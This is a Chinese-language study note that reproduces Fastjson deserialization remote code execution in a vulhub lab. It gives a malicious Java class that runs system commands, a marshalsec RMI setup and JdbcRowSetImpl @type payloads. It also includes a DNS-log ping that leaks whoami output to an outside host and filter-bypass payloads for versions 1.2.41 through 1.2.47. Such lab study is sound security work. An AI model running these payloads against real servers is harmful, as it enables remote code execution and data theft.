FastJson遠程命令執行漏洞學習筆記
- 2022 年 9 月 3 日
- 筆記
- 常見web漏洞復現學習筆記
Fastjson簡介
fastjson用於將Java Bean序列化為JSON字元串,也可以從JSON字元串反序列化到JavaBean。fastjson.jar是阿里開發的一款專門用於Java開發的包,可以方便的實現json對象與JavaBean對象的轉換,實現JavaBean對象與json字元串的轉換,實現json對象與json字元串的轉換。
fastjson是java的一個庫,可以將java對象轉化為json格式的字元串,也可以將json格式的字元串轉化為java對象,提供了 toJSONString() 和 parseObject() 方法來將 Java 對象與 JSON 相互轉換。調用toJSONString方 法即可將對象轉換成 JSON 字元串,parseObject 方法則反過來將 JSON 字元串轉換成對象。
//將字元串轉化為對象
JSONObject obj=JSON.parseObject(jsonStr);
JavaBean:
JavaBean 是特殊的 Java 類,使用 Java 語言書寫,並且遵守 JavaBean API 規範。JavaBean的特徵:
-
-
需要被序列化並且實現了 Serializable 介面。
-
可能有一系列可讀寫屬性。
-
可能有一系列的 getter 或 setter 方法。
Fastjson遠程命令執行漏洞原理
Fastjson在解析json的過程中,支援使用autoType來實例化某一個具體的類,並用該類的set/get方法來訪問屬性。
其在反序列化的時候,會進入parseField方法,進入該方法後,就會調用setValue(object,value)方法,會將獲取到的數組對象,賦予到@type class中的對應屬性中。(在後面構造poc的時候詳細說)在這裡,就可能執行構造的惡意程式碼。從而造成程式碼執行。
通俗理解:漏洞利用fastjson autotype在處理json對象的時候,未對@type欄位進行完全的安全性驗證,攻擊者可以傳入危險類,並調用危險類中連接遠程主機,通過其中的惡意類執行程式碼。攻擊者通過這種方式,可以實現遠程程式碼執行漏洞的利用,獲取伺服器的敏感資訊泄露,甚至可以利用此漏洞進一步對伺服器數據進行更改,增加,刪除等操作,對伺服器造成巨大影響。
環境準備
1、安裝docker
sudo apt update
sudo apt install -y docker.io
dockesystemclt enable docker --now
sudo apt install docker-compose
2、安裝vulhub
github下載,解壓進入fastjson->1.2.24rce文件夾在這裡打開終端(cd也行)
sudo docker-compose build
sudo docker-compose up -d
3、配置java8
下載java8
//www.oracle.com/java/technologies/downloads/
mkdir /opt/java
tar zxvf jdk8u341-linux-x64.tar.gz
vim /etc/profile
末尾添加:
export JAVA_HOME=/opt/java/jdk1.8.0_341
export JRE_HOME=/opt/java/jdk1.8.0_341
export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib
export PAHT=${PATH}:${JAVA_HOME}/bin:${JRE_HOME}/bin
source /etc/profile
java -version
顯示版本即配置成功
4、下載marshalsec
git clone //github.com/mbechler/marshalsec.git
5、安裝maven
下載maven
apt-get install maven
使用maven編譯marshalsec成jar包
cd marshalsec
mvn clean package -DskipTests
漏洞復現
fastjson1.2.24-rce
靶機kali :192.168.255.130 攻擊機kali: 192.168.255.130
這裡也可以用兩個不同機器
開啟fastjson漏洞
sudo docker-compose up -d
這裡是因為之前我已經開過了
訪問靶機,可以看到json格式的輸出
執行下面這條命令,使用 curl命令模擬json格式的POST請求,返回json格式的請求結果,沒報404,正常情況下說明存在該漏洞。
curl //192.168.255.130:8090/ -H "Content-Type: application/json" --data '{"name":"xmp", "age":405}'
還可以通過burp抓包,post一個非json格式的數據,看報錯情況(但是這裡我沒有成功,暫時沒找到原因借用一下網圖)
編譯一個惡意類,這裡其實需要注意一下,有的kali許可權受限,不會執行commonds中的命令,比如這裡的這個如果沒有root許可權的話就執行不了,導致沒有結果。後面在加一個普通許可權即可有結果回顯的。
//fjsonxmp.java
import java.lang.Runtime;
import java.lang.Process;
public class fjsonxmp {
static {
try {
//運行時,是一個封裝了JVM進程的類。每一個JAVA程式實際上都是啟動了一個JVM進程,那麼每一個進程都是對應這一個Runtime實例,其實例是由JVM為其初始化的。
Runtime rt = Runtime.getRuntime();//取得Runtime類的實例
String[] commonds = {"touch", "/tmp/zcctest"};
//定義要執行的命令字元串
Process pc = rt.exec(commonds);
//exec是執行本機的命令,它的返回值是一個進程,故用process 一個實例來接收,
pc.waitFor();
//返回該Process對象代表的進程的出口值
} catch (Exception e) {
//do nothing
}
}
}
然後,這裡是把文件變為class位元組的,在JVM虛擬機中執行
javac fjsonxmp.java
搭建http服務傳輸惡意文件
python2
python -m SimpleHTTPServer 80
python3
python -m http.server 80
開啟RMI服務
cd marshalsec
cd target
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "//192.168.255.130/#fjsonxmp" 9999
使用burp抓包,並寫入poc
poc
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.255.130:9999/opt/fjsonxmp",
"autoCommit":true
}
}
fastjson序列化的時候,會把原始類型記錄下來
序列化後的字元串中添加@type屬性,存放對象類型
首先我們找到需要調用的類com.sun.rowset.JdbcRowSetImpl,這個類一定會被載入
被攻擊的伺服器拿到這個惡意的數據就找rmi伺服器去執行命令
這個rmi伺服器相當於請求80埠伺服器中的fjsonxmp.class
從rmi請求中得到命令touch /tmp/zcctest
然後被攻擊的伺服器就回去執行命令
這裡舉個小例子來幫助理解
class Apple implements Fruit {
private Big_Decimal price;
//省略 setter/getter/toString等
}
class Banana implements Fruit {
private Big_Decimal price;
//省略 setter/getter/toString等
}
這兩個類在傳輸的時候 json格式是這樣的
"Fruit":{
price:50
}
這裡只說明了一個Fruit的price為50,可是卻不知道傳輸的是Banana還是Apple。這是利用autoType
添加@type欄位來存放對象類型
"Fruit":{
@type:Apple
price:50
}
假設這樣傳輸,就可以明確是Apple的price為50.
我們在找到需要調用的類:com.sun.rowset.JdbcRowSetImpl 這個類一定會被讀取載入 他就相當於Apple
dataSourceName 他就相當於 price對於Apple的情況。
這裡可以看到rmi 和 80 http服務 都收到了請求。但是因為沒許可權執行,所以沒有回顯結果。文件未創建。
利用dnslog來回顯結果
修改惡意類
import java.lang.Runtime;
import java.lang.Process;
public class fjsonxmp {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commonds = {"/bin/sh","-c","ping user.'whoami'.bjdbwl.dnslog.cn"};
Process pc = rt.exec(commonds);
pc.waitFor();
} catch (Exception e) {
//do nothing
}
}
}
可以看到有請求
成功回顯,達到遠程任意指令執行。
fastjson1.2.41-rce
fastjson在載入到過程中,會在載入類的時候去掉className前面的L
和最後的;
,所以就有了如下的poc:
{
"b":{
"@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
"dataSourceName":"rmi://xx.x.xx.xx:9999/poc",
"autoCommit":true
}
}
從而湊出com.sun.rowset.JdbcRowSetImpl
fastjson1.2.42-rce
由於上一個版本只只過濾了L
和;
,所以又可以通過雙寫繞過
{
"b":{
"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
"dataSourceName":"rmi://xx.x.xx.xx:9999/poc",
"autoCommit":true
}
}
fastjson1.2.43-rce
上一個版本中雙寫L和; 被繞過,所有又增加了一個是否以LL未開頭判斷,繞過的方法是在`目標類前面添加[
poc:
{
"b":{
"@type":"[com.sun.rowset.JdbcRowSetImpl"[,{
"dataSourceName":"rmi://xx.x.xx.xx:9999/poc",
"autoCommit":true
}
}
fastjson1.2.47-rce
因為從1.2.45開始autotype是默認關閉的,因為之前開啟一直出現漏洞,但是關閉他也出現了。
因為來fastjson中有一個全局快取,在類載入的時候,
-
如果autoType沒開啟,會先嘗試從mapping快取中獲取目標類,如果快取中有,則直接返回進入之後的反序列化流程。
-
如果autoType開啟,因為typeName為
java.lang.Class
不在黑名單,成功繞過檢測被解析為Class類型。
java.lang.Class
在快取中肯定有,該類對應的deserializer為MiscCodec,反序列化時會取json串中的val值並載入這個val對應的類Class到全局快取中。
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://xx.x.xx.xx:9999/poc",
"autoCommit": true
}
}
總結
fastjson的漏洞其實就是fastjson autotype在處理json對象的時候,未對@type欄位進行完全的安全性驗證,攻擊者可以傳入危險類,並調用危險類中連接遠程主機,通過其中的惡意類執行程式碼。
筆記只做學習記錄分享。如有錯誤,請大家批評指正!
文章內容多來於
//www.freebuf.com/articles/web/283585.html
//www.freebuf.com/vuls/276512.html